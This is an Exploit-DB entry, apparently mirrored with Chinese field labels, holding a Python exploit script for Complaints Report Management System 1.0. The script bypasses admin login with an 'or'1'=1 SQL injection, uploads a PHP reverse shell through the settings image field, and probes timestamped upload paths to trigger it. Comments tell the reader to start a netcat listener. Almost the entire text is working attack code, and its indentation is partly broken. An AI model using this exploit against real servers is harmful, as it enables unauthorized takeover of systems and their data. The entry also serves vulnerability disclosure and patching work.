Complaints Report Management System 1.0 – ‘username’ SQL Injection / Remote Code Execution

  • 作者: Mosaaed
    日期: 2020-11-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48985/
  • # Exploit Title: Complaints Report Management System 1.0 - 'username' SQL Injection / Remote Code Execution
    # Date: 3-11-2020
    # Exploit Author: mosaaed
    # Vendor Homepage: https://www.sourcecodester.com/php/14566/complaints-report-management-system-using-phpmysqli-source-code.html
    # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/complaints-report-management-system.zip
    # Version: 1.0
    # Tested on: Parrot 5.5.17 + Apache 2.4.46
    # CVE ID : N/A
    
    # replace shell.php with your own php reverse shell
    # change [TARGET URL] to target URL or IP address
    # setup your netcat listener for sum good ol shellz
    
    
    
    #!/usr/bin/python3
    
    import requests
    import time
    
    def sqli_admin():
    	s = requests.Session()
    	data = {"username":"admin'or'1'=1#","password":"hacked"}
    	adminlogin = "http://localhost/crms/admin/ajax.php?action=save_settings"
    	s.post(adminlogin,data=data)
    	return s
    
    def trigger_rce(session):
    	starttime = int(time.time())
    	multipart_form_data = {
    	"name": ("cyberscurity"),
    	"email": ("test@test.com"),
    	"contact" : ("+11111111111"),
    	"about" : ("Nothing much about it"),
    	"img" : ("shell.php", open("shell.php", "rb"))
    	}
    	session.post("http://localhost/crms/admin/ajax.php?action=save_settings", files=multipart_form_data)
    	get_shell(starttime-100,starttime+100,session)
    
    
    def get_shell(start,end,session):
    	for i in range(start,end):
    		 session.get("http://localhost/crms/admin/assets/uploads/"+str(i)+"_shell.php")
    		 response = requests.get ("http://localhost/crms/admin/assets/uploads/"+ str(i) +"_shell.php")
    		 if response.status_code == 200:
    			print("http://localhost/crms/admin/assets/uploads/"+str(i)+"_shell.php")
    			
    
    def main():
    	session = sqli_admin()
    	trigger_rce(session)
    
    if __name__ == '__main__':
    	main()